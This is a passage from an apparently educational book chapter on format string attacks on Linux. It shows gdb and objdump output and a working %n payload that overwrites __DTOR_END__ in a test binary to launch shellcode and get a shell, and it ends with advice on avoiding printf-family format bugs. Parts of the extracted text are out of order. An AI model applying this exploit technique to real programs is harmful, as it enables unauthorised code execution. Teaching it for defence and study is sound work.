__DTOR_LIST__. It starts them up in sequence, till it finds four zero bytes, 
and thus __DTOR_END__. We can overwrite __DTOR_END__ with the 
address of our shellcode in a way that the system will think that this is the 
pointer for the destructor function. After starting up the shellcode, the 
program will wait, so long as we do not switch off the shell. Then a program 
error should be found (assuming there is one), because the system does not 
find __DTOR_END__ on its own. This issue, however, is not of interest to 
us, as what is important is that the shellcode will be started. As usually, for 
preliminary testing we will use gdb. 
 
bash-2.05b$ gdb fm6 
GNU gdb 6.1.1 
Copyright 2004 Free Software Foundation, Inc. 
... 
This GDB was configured as "--host= --target=i686-pld-linux". 
(gdb) break main 
Breakpoint 1 at 0x80483ea 
(gdb) r "Jane has a cat" 
Starting program: /home/users/dave/fm6 "Jane has a cat"Breakpoint 1, 0x080483ea in main  
(gdb) set *0x080495ac = &shellcode 
(gdb) c 
Continuing. 
Jane has a cat 
End 
sh-2.05b$ exit 
exit 
Program exited normally. 
(gdb) 

bash-2.05b$ objdump -h fm6 | grep -A 1 .dtors 
 17 .dtors        00000008  080495a8  080495a8  000005a8  2**2 
                  CONTENTS, ALLOC, LOAD, DATA 

bash-2.05b$ objdump -t fm6 | grep DTOR 
080495a8 l     O .dtors 00000000              __DTOR_LIST__ 
080495ac l     O .dtors 00000000              __DTOR_END__ 
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Everything has gone as planned, and we even avoided the error connected 
with overwriting __DTOR_END__. Evidently somewhere on its way through 
the memory the processor found four zero bytes, which it considered to be 
the end of the destructor list. Now we will do the same using the format 
string. As usually, a small change in the address to which we will write is 
enough. These will be four addresses in sequence beginning from 
__DTOR_END__: 
 

 
The format string overwriting the specific addresses is already readily known 
from our previous attacks: 
 

 
In this way we have come to know the three most frequently used ways of 
taking advantage of format string errors, which, as we can see, are not the 
easiest. However, their correct usage provides us with a great deal of 
satisfaction. 
 
How do we avoid errors? 
 
Errors connected with format strings are relatively easy to detect. Actually, in 
the majority of cases they are visible at first glance. The printf() function is 
only one of many functions susceptible to these attacks. Other ones are, for 
example: 
 
fprintf(); 
printf(); 
sprintf(); 
snprintf(); 
vfprintf(); 
vprintf(); 
vsprintf(); 

"\xac\x95\x04\x08\xad\x95\x04\x08\xae\x95\x04\x08\xaf\x95\x04\x08" 

bash-2.05b$ ./fm6 `echo -e 
'\xac\x95\x04\x08\xad\x95\x04\x08\xae\x95\x04\x08\xaf\x95\x04\x08%156x%4$n%234x%5$n%110x
%6$n----%7$n'` 
                                                                                                            
bffffdc5           40                                                                                                      
4012a010---- 
End 
sh-2.05b$ exit 
exit 
bash-2.05b$ 
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vsnprintf(); 
setproctitle(); 
syslog(); 

 
This type of error is very often to be found in calls to the syslog() function. If 
we are not 100 per cent sure as to which parameters a specific function 
assumes, it is worth being absolutely sure by reading the relevant pages of the 
system manual. We should never give the user the ability to decide about the 
format string being used. Even if we think that we are filtering all tags 
appropriately, this type of behavior can prove to have fatal consequences. 
Different kinds of programs have been created that search for this type of 
error in the source code. Some of them are highly refined; however, they 
cannot be relied upon alone, for nothing can take the place of human code 
checking. 
 
We hope this chapter has given the reader a solid introduction to format 
string attacks. Other locations exist whose overwriting can reap big rewards. 
While searching for different kinds of jumps, it is worth it to examine 
program sections closely. Without a doubt, experimentation gives much 
more satisfaction than using the methods described here, and it allows the 
continuous development of one’s own skills. 
 



  170 

 


